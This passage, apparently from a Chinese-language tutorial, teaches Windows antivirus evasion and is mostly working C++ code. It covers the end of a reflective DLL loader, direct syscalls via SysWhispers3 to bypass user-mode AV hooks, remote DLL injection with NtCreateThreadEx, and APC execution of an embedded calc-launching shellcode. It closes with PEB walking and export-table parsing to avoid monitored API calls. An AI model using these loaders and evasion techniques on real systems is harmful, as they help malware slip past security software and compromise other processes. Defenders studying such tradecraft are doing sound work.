PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;
IMAGE_DATA_DIRECTORY importsDirectory = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
importDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);
LPCSTR libraryName = "";
HMODULE library = NULL;
while (importDescriptor->Name != NULL) {
// 获取DLL的名称
libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;
library = LoadLibraryA(libraryName);
if (library) {
// 获取IAT的地址
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA)((DWORD)dllBase + importDescriptor->FirstThunk);
// 便利INT的项
while (thunk->u1.AddressOfData != NULL) {
if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal)) {
LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
thunk->u1.Function = (DWORD_PTR)GetProcAddress(library, functionOrdinal);
}
else {
PIMAGE_IMPORT_BY_NAME functionName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);
DWORD_PTR functionAddress = (DWORD_PTR)GetProcAddress(library, functionName->Name);
thunk->u1.Function = functionAddress;
}
++thunk;
}
}
importDescriptor++;
}
DLLEntry dllEntry = (DLLEntry)((DWORD_PTR)dllBase + ntHeader->OptionalHeader.AddressOfEntryPoint);
(*dllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);
CloseHandle(dll);
HeapFree(GetProcessHeap(), 0, heapBuf);
return 0;
}
syscall
很多AV为了系统的稳定性,很多都在ring3进行敏感函数的hook和拦截,而如CreateThreadEx最后调用的是NtCreateThreadEx,这类方法最终会通过系统调用,在内核中进行处理,而从ntdll.dll中可以看到,Nt*系列方法都是一样的代码片段,只是相应的系统调用号不同
所以我们可以直接通过syscall来调用内核函数,绕过ring3层的hook
内核调用号表:Windows X86-64 System Call Table (XP/2003/Vista/2008/7/2012/8/10)
直接系统调用
通过自己编写Nt*系列的汇编调用,可以绕过ring3层的函数hook,这里可以通过SysWhispers3这个项目方便的生成直接系统调用的代码,使用的时候直接包含头文件即可
通过SysWhipspers3生成所有函数的系统调用(不必要,根据不同的需求生成不同的函数即可):python syswhispers.py --preset all -o output/syscalls_all
命令执行成功后,会在output目录生成如下的文件
之后在Visual Studio中,将.h文件添加至头文件,将.c和.asm文件添加至源文件
这里需要注意,Visual Studio中的添加并不会将文件添加到当前项目,而仅仅是一种链接关系,所以我们想要包含这个.h文件,就需要在Visutal Studio中设置查找.h文件的路径,在项目属性中添加对应的头文件路径,需要保证,上方的配置和平台和项目的一致
之后就可以在代码中直接调用NtCreateThreadEx这类Nt*系列函数了:
#include <iostream>
#include <Windows.h>
#include "syscalls_all.h"
int main()
{
DWORD procID = 19332; // 要注入的进程pid
LPCSTR dllPath = "D:\\visualstudio\\Projects\\CalcDll\\x64\\Debug\\CalcDll.dll"; // DLL文件所在的路径
DWORD dllLen = strlen(dllPath); // 这里一定是strlen函数获取长度,绝对不能用sizeof,不然获取的是指针的长度
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, true, procID); // 打开要注入的进程,获取要注入进程的句柄
if (hProc == NULL) {
printf("open process fail: 0x%x", GetLastError());
return 1;
}
LPVOID buf = VirtualAllocEx(hProc, NULL, dllLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 在目标进程的内存空间中申请一段内存,其实只需要RW权限
if (buf == NULL) {
printf("alloc memory fail: 0x%x", GetLastError());
return 1;
}
BOOL success = WriteProcessMemory(hProc, buf, dllPath, dllLen, NULL); // 将DLL的路径写入到申请的内存段中
if (!success) {
printf("write dll path to process fail: 0x%x", GetLastError());
return 1;
}
HMODULE hKernel = LoadLibraryA("kernel32.dll"); // 加载kernel32.dll,获取对应的句柄
if (hKernel == NULL) {
printf("load kernel32.dll fail: 0x%x", GetLastError());
return 1;
}
LPVOID lAddr = GetProcAddress(hKernel, "LoadLibraryA"); // 直接获取当前进程的LoadLibraryA函数的地址,因为kernel32.dll在所有进程的加载地址都是一样的,所以当前进程的LoadLibarayA函数和目标进程的地址是一样的
if (lAddr == NULL) {
printf("get LoadLibrary addr fail: 0x%x", GetLastError());
return 1;
}
HANDLE hThread;
NtCreateThreadEx(&hThread, 0x1FFFFF, NULL, hProc, (LPTHREAD_START_ROUTINE)lAddr, buf, FALSE, NULL, NULL, NULL, NULL);
//HANDLE hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lAddr, buf, 0, NULL); // 创建远程线程,开始执行的地方在LoadLibarayA函数的地址,并且向LoadLibarayA函数传入dll的路径
if (hThread == NULL) {
printf("create remote thread fail: 0x%x", GetLastError());
return 1;
}
DWORD retCode = WaitForSingleObject(hThread, INFINITE); // 等待线程执行完毕
printf("thread exit code is 0x%x", retCode);
return 0;
}
通过Process Monitor查看新线程的调用栈,可以看到直接进入到了内核,而没有经过任何ring3的函数:
APC注入
NtTestAlert
Windows的每个线程都存在一个APC队列,操作系统会在线程位Alertable的状态下,取出APC队列中的任务进行执行,所以可以通过APC来实现shellcode的执行
往线程添加APC队列的函数为:QueueUserAPC
,但是APC队列的执行需要条件,只有线程在调用SleepEx,WaitForSingleObject等函数的时候,线程才会变成Alertable的状态
而在ntdll.dll中有NtTestAlert函数,可以手动触发APC队列的执行,但此函数不导出,我们需要手动从ntdll中获取函数的地址
#include <iostream>
#include <Windows.h>
// 弹出计算器shellcode
unsigned char data[] = {
0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x29, 0xd4, 0x65, 0x48, 0x8b,
0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b,
0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe,
0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57,
0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48,
0x01, 0xf7, 0x99, 0xff, 0xd7
};
using myNtTestAlert = NTSTATUS(NTAPI*)();
int main()
{
myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert"));
SIZE_T shellSize = sizeof(data);
LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), shellAddress, data, shellSize, NULL);
QueueUserAPC((PAPCFUNC)shellAddress, GetCurrentThread(), NULL);
testAlert();
return 0;
}
PEB
PEB(进程环境块)在Windows中用来描述一个进程的各种信息,而PEB中存在加载的DLL列表,通过这种方式,我们就可以绕过对LoadLibrary和GetProcAddress的调用,直接通过PEB获取到需要调用的函数地址
参考文章:[原创]PEB结构:获取模块kernel32基址技术及原理分析
PEB的结构:
获取加载DLL
获取PEB
在32位下,PEB在TEB(线程环境块)的0x30处,而TEB的地址可以通过FS寄存器拿到,所以通过FS:[0x30]
即可拿到PEB的地址
在64位下,PEB在GS寄存器的0x60处,所以我们可以直接通过GS寄存器拿到PEB的地址
在不同的Windows版本下,PEB的结构是有区别的,所以我们需要知道每个Windows版本下PEB的结构,可以通过这个网站查询:https://www.vergiliusproject.com/kernels
按照预先设定好的Windows版本,在项目下定义peb.h定义需要用到的PEB结构:
#pragma once
#include <Windows.h>
//0x10 bytes (sizeof)
struct _STRING64
{
USHORT Length; //0x0
USHORT MaximumLength; //0x2
ULONGLONG Buffer; //0x8
};
//0x7d0 bytes (sizeof)
struct _PEB64
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages : 1; //0x3
UCHAR IsProtectedProcess : 1; //0x3
UCHAR IsImageDynamicallyRelocated : 1; //0x3
UCHAR SkipPatchingUser32Forwarders : 1; //0x3
UCHAR IsPackagedProcess : 1; //0x3
UCHAR IsAppContainer : 1; //0x3
UCHAR IsProtectedProcessLight : 1; //0x3
UCHAR IsLongPathAwareProcess : 1; //0x3
};
};
UCHAR Padding0[4]; //0x4
ULONGLONG Mutant; //0x8
ULONGLONG ImageBaseAddress; //0x10
ULONGLONG Ldr; //0x18
ULONGLONG ProcessParameters; //0x20
ULONGLONG SubSystemData; //0x28
ULONGLONG ProcessHeap; //0x30
ULONGLONG FastPebLock; //0x38
ULONGLONG AtlThunkSListPtr; //0x40
ULONGLONG IFEOKey; //0x48
union
{
ULONG CrossProcessFlags; //0x50
struct
{
ULONG ProcessInJob : 1; //0x50
ULONG ProcessInitializing : 1; //0x50
ULONG ProcessUsingVEH : 1; //0x50
ULONG ProcessUsingVCH : 1; //0x50
ULONG ProcessUsingFTH : 1; //0x50
ULONG ProcessPreviouslyThrottled : 1; //0x50
ULONG ProcessCurrentlyThrottled : 1; //0x50
ULONG ProcessImagesHotPatched : 1; //0x50
ULONG ReservedBits0 : 24; //0x50
};
};
UCHAR Padding1[4]; //0x54
union
{
ULONGLONG KernelCallbackTable; //0x58
ULONGLONG UserSharedInfoPtr; //0x58
};
ULONG SystemReserved; //0x60
ULONG AtlThunkSListPtr32; //0x64
ULONGLONG ApiSetMap; //0x68
ULONG TlsExpansionCounter; //0x70
UCHAR Padding2[4]; //0x74
ULONGLONG TlsBitmap; //0x78
ULONG TlsBitmapBits[2]; //0x80
ULONGLONG ReadOnlySharedMemoryBase; //0x88
ULONGLONG SharedData; //0x90
ULONGLONG ReadOnlyStaticServerData; //0x98
ULONGLONG AnsiCodePageData; //0xa0
ULONGLONG OemCodePageData; //0xa8
ULONGLONG UnicodeCaseTableData; //0xb0
ULONG NumberOfProcessors; //0xb8
ULONG NtGlobalFlag; //0xbc
union _LARGE_INTEGER CriticalSectionTimeout; //0xc0
ULONGLONG HeapSegmentReserve; //0xc8
ULONGLONG HeapSegmentCommit; //0xd0
ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8
ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0
ULONG NumberOfHeaps; //0xe8
ULONG MaximumNumberOfHeaps; //0xec
ULONGLONG ProcessHeaps; //0xf0
ULONGLONG GdiSharedHandleTable; //0xf8
ULONGLONG ProcessStarterHelper; //0x100
ULONG GdiDCAttributeList; //0x108
UCHAR Padding3[4]; //0x10c
ULONGLONG LoaderLock; //0x110
ULONG OSMajorVersion; //0x118
ULONG OSMinorVersion; //0x11c
USHORT OSBuildNumber; //0x120
USHORT OSCSDVersion; //0x122
ULONG OSPlatformId; //0x124
ULONG ImageSubsystem; //0x128
ULONG ImageSubsystemMajorVersion; //0x12c
ULONG ImageSubsystemMinorVersion; //0x130
UCHAR Padding4[4]; //0x134
ULONGLONG ActiveProcessAffinityMask; //0x138
ULONG GdiHandleBuffer[60]; //0x140
ULONGLONG PostProcessInitRoutine; //0x230
ULONGLONG TlsExpansionBitmap; //0x238
ULONG TlsExpansionBitmapBits[32]; //0x240
ULONG SessionId; //0x2c0
UCHAR Padding5[4]; //0x2c4
union _ULARGE_INTEGER AppCompatFlags; //0x2c8
union _ULARGE_INTEGER AppCompatFlagsUser; //0x2d0
ULONGLONG pShimData; //0x2d8
ULONGLONG AppCompatInfo; //0x2e0
struct _STRING64 CSDVersion; //0x2e8
ULONGLONG ActivationContextData; //0x2f8
ULONGLONG ProcessAssemblyStorageMap; //0x300
ULONGLONG SystemDefaultActivationContextData; //0x308
ULONGLONG SystemAssemblyStorageMap; //0x310
ULONGLONG MinimumStackCommit; //0x318
ULONGLONG SparePointers[2]; //0x320
ULONGLONG PatchLoaderData; //0x330
ULONGLONG ChpeV2ProcessInfo; //0x338
ULONG AppModelFeatureState; //0x340
ULONG SpareUlongs[2]; //0x344
USHORT ActiveCodePage; //0x34c
USHORT OemCodePage; //0x34e
USHORT UseCaseMapping; //0x350
USHORT UnusedNlsField; //0x352
ULONGLONG WerRegistrationData; //0x358
ULONGLONG WerShipAssertPtr; //0x360
ULONGLONG EcCodeBitMap; //0x368
ULONGLONG pImageHeaderHash; //0x370
union
{
ULONG TracingFlags; //0x378
struct
{
ULONG HeapTracingEnabled : 1; //0x378
ULONG CritSecTracingEnabled : 1; //0x378
ULONG LibLoaderTracingEnabled : 1; //0x378
ULONG SpareTracingBits : 29; //0x378
};
};
UCHAR Padding6[4]; //0x37c
ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380
ULONGLONG TppWorkerpListLock; //0x388
struct LIST_ENTRY64 TppWorkerpList; //0x390
ULONGLONG WaitOnAddressHashTable[128]; //0x3a0
ULONGLONG TelemetryCoverageHeader; //0x7a0
ULONG CloudFileFlags; //0x7a8
ULONG CloudFileDiagFlags; //0x7ac
CHAR PlaceholderCompatibilityMode; //0x7b0
CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1
ULONGLONG LeapSecondData; //0x7b8
union
{
ULONG LeapSecondFlags; //0x7c0
struct
{
ULONG SixtySecondEnabled : 1; //0x7c0
ULONG Reserved : 31; //0x7c0
};
};
ULONG NtGlobalFlag2; //0x7c4
ULONGLONG ExtendedFeatureDisableMask; //0x7c8
};
//0x58 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0x10
struct _LIST_ENTRY InMemoryOrderModuleList; //0x20
struct _LIST_ENTRY InInitializationOrderModuleList; //0x30
VOID* EntryInProgress; //0x40
UCHAR ShutdownInProgress; //0x48
VOID* ShutdownThreadId; //0x50
};
//0x10 bytes (sizeof)
struct _UNICODE_STRING
{
USHORT Length; //0x0
USHORT MaximumLength; //0x2
WCHAR* Buffer; //0x8
};
//0x18 bytes (sizeof)
struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x8
};
};
union
{
struct
{
UCHAR Red : 1; //0x10
UCHAR Balance : 2; //0x10
};
ULONGLONG ParentValue; //0x10
};
};
//0x138 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x10
struct _LIST_ENTRY InInitializationOrderLinks; //0x20
VOID* DllBase; //0x30
VOID* EntryPoint; //0x38
ULONG SizeOfImage; //0x40
struct _UNICODE_STRING FullDllName; //0x48
struct _UNICODE_STRING BaseDllName; //0x58
union
{
UCHAR FlagGroup[4]; //0x68
ULONG Flags; //0x68
struct
{
ULONG PackagedBinary : 1; //0x68
ULONG MarkedForRemoval : 1; //0x68
ULONG ImageDll : 1; //0x68
ULONG LoadNotificationsSent : 1; //0x68
ULONG TelemetryEntryProcessed : 1; //0x68
ULONG ProcessStaticImport : 1; //0x68
ULONG InLegacyLists : 1; //0x68
ULONG InIndexes : 1; //0x68
ULONG ShimDll : 1; //0x68
ULONG InExceptionTable : 1; //0x68
ULONG ReservedFlags1 : 2; //0x68
ULONG LoadInProgress : 1; //0x68
ULONG LoadConfigProcessed : 1; //0x68
ULONG EntryProcessed : 1; //0x68
ULONG ProtectDelayLoad : 1; //0x68
ULONG ReservedFlags3 : 2; //0x68
ULONG DontCallForThreads : 1; //0x68
ULONG ProcessAttachCalled : 1; //0x68
ULONG ProcessAttachFailed : 1; //0x68
ULONG CorDeferredValidate : 1; //0x68
ULONG CorImage : 1; //0x68
ULONG DontRelocate : 1; //0x68
ULONG CorILOnly : 1; //0x68
ULONG ChpeImage : 1; //0x68
ULONG ChpeEmulatorImage : 1; //0x68
ULONG ReservedFlags5 : 1; //0x68
ULONG Redirected : 1; //0x68
ULONG ReservedFlags6 : 2; //0x68
ULONG CompatDatabaseProcessed : 1; //0x68
};
};
USHORT ObsoleteLoadCount; //0x6c
USHORT TlsIndex; //0x6e
struct _LIST_ENTRY HashLinks; //0x70
ULONG TimeDateStamp; //0x80
struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x88
VOID* Lock; //0x90
struct _LDR_DDAG_NODE* DdagNode; //0x98
struct _LIST_ENTRY NodeModuleLink; //0xa0
struct _LDRP_LOAD_CONTEXT* LoadContext; //0xb0
VOID* ParentDllBase; //0xb8
VOID* SwitchBackContext; //0xc0
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0xc8
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0xe0
ULONGLONG OriginalBase; //0xf8
union _LARGE_INTEGER LoadTime; //0x100
ULONG BaseNameHashValue; //0x108
enum _LDR_DLL_LOAD_REASON LoadReason; //0x10c
ULONG ImplicitPathOptions; //0x110
ULONG ReferenceCount; //0x114
ULONG DependentLoadFlags; //0x118
UCHAR SigningLevel; //0x11c
ULONG CheckSum; //0x120
VOID* ActivePatchImageBase; //0x128
enum _LDR_HOT_PATCH_STATE HotPatchState; //0x130
};
之后就可以通过__readgsqword(0x60)
获取到对应的PEB结构
// 获取PEB的地址
_PEB64* peb = (_PEB64*)__readgsqword(0x60);
_PEB_LDR_DATA* ldr = (_PEB_LDR_DATA*)peb->Ldr;
获取DLL基地址
在PEB中存在一个Ldr指针,该指针实际上表示的是_LDR_DATA_TABLE_ENTRY
的指针,该结构描述了进程加载的DLL的信息:
其中最关键的是三种List,这三种List表示了不同顺序的加载DLL的链表:
InLoadOrderModuleList:以加载顺序排序的模块链表
InMemoryOrderModuleList:以内存位置排序的模块链表
InInitializationOrderModuleList:以初始化顺序排序的模块链表
该链表定义的类型是_LIST_ENTRY
,但实际上该指针指向的是_LDR_DATA_TABLE_ENTRY
,下面这张图可以很好的描述这种关系:
所以通过遍历这三个链表中的任何一个,都可以拿到进程加载的所有DLL
一般我们寻找kernel32.dll的话,使用InInitializationOrderModuleList
来遍历会比较快,但是需要注意的是如果通过Ldr->InInitializationOrderModuleList来拿到对应的_LDR_DATA_TABLE_ENTRY
结构体,从上图可以看出InInitializationOrderModuleList
的Flink并不是指向_LDR_DATA_TABLE_ENTRY
的开头的,所以需要在获取到的指针的基础上-0x20
通过遍历链表,我们获取到DLL的加载地址和DLL的名称
#include <iostream>
#include <Windows.h>
#include "peb.h"
int main()
{
// 获取PEB的地址
_PEB64* peb = (_PEB64*)__readgsqword(0x60);
_PEB_LDR_DATA* ldr = (_PEB_LDR_DATA*)peb->Ldr;
_LDR_DATA_TABLE_ENTRY* entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)ldr->InInitializationOrderModuleList.Flink - 0x20);
do {
wprintf(L"dll base name is: %s\n", entry->BaseDllName.Buffer);
wprintf(L"dll path is: %s\n", entry->FullDllName.Buffer);
wprintf(L"dll load address: %p\n", entry->DllBase);
wprintf(L"----------------------------------------------------------------\n");
entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)entry->InInitializationOrderLinks.Flink - 0x20);
} while (entry->InInitializationOrderLinks.Flink != ldr->InInitializationOrderModuleList.Blink);
return 0;
}
通过这种方式,我们就可以拿到加载的DLL中的函数,而不用去调用LoadLibrary和GetProcAddress这种高危函数
解析DLL导出表
拿到DLL的加载地址之后,就可以解析整个展开的PE文件,拿到对应导出表的内容
通过NT头的OptionalHeader,我们可以拿到导出表描述符的地址,而导出表描述符是如下的一个结构:
其中有几个重要的成员:
NumberOfFunctions:导出的函数数量
NumberOfNames:导出的函数名称数量
AddressOfFunctions:导出函数的RVA
AddressOfName:导出函数名称的RVA
AddressOfNameOrdinals:导出函数的序号
其中AddressOfName和AddressOfNameOrdinals是一一对应的关系,而真正的函数地址是以Ordinals作为索引的
这个地方需要千万记得是RVA,而RVA是DWORD类型,在64位下不熟悉函数指针操作的话很容易解析错误,通过解析内存中的导出表,就可以不借助GetProcAddress和LoadLibrary的方式找到其他DLL中的函数
#include <iostream>
#include <Windows.h>
#include "peb.h"
int main()
{
// 获取PEB的地址
_PEB64* peb = (_PEB64*)__readgsqword(0x60);
_PEB_LDR_DATA* ldr = (_PEB_LDR_DATA*)peb->Ldr;
_LDR_DATA_TABLE_ENTRY* entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)ldr->InInitializationOrderModuleList.Flink - 0x20);
do {
wprintf(L"dll base name is: %s\n", entry->BaseDllName.Buffer);
wprintf(L"dll path is: %s\n", entry->FullDllName.Buffer);
wprintf(L"dll load address: %p\n", entry->DllBase);
wprintf(L"----------------------------------------------------------------\n");
entry = (_LDR_DATA_TABLE_ENTRY*)((DWORD64)entry->InInitializationOrderLinks.Flink - 0x20);
int cmp = _wcsicmp(entry->BaseDllName.Buffer, L"KERNEL32.DLL");
if (cmp == 0) {
// PE文件映像
DWORD64 peBase = (DWORD64)entry->DllBase;
// 获取DOS头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBase;
// 获取NT头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)peBase + dosHeader->e_lfanew);
// 获取导出表的地址
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD64)peBase + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 导出名称表
DWORD* nameTable = (DWORD*)(peBase + exportTable->AddressOfNames);
// 导出序号表
SHORT* ordinalTable = (SHORT*)(peBase + exportTable->AddressOfNameOrdinals);
// 导出地址表
DWORD* addressTable = (DWORD*)(peBase + exportTable->AddressOfFunctions);
HMODULE kHandle = GetModuleHandleA((LPCSTR)(DWORD64)(peBase + exportTable->Name));
for (int i = 0; i < exportTable->NumberOfNames; i++) {
DWORD64 nameAddr = peBase + (DWORD)nameTable[i];
short ordinal = (short)ordinalTable[i];
DWORD64 rva = (DWORD)addressTable[ordinal];
DWORD64 addr = peBase + rva;
DWORD64 realAddr = (DWORD64)GetProcAddress(kHandle, (LPCSTR)nameAddr);
printf("index: %d, func name: %s, func ordinal: %d, rva: %p, func addr: %p, real addr: %p\n", i, nameAddr, ordinal, rva, addr, realAddr);
}
printf("total function is: %d", exportTable->NumberOfFunctions);
}
} while (entry->InInitializationOrderLinks.Flink != ldr->InInitializationOrderModuleList.Blink);
return 0;
}
通过手动GetProcAddress,可以看到解析导出表的结果和GetProcAddress的结果是一致的: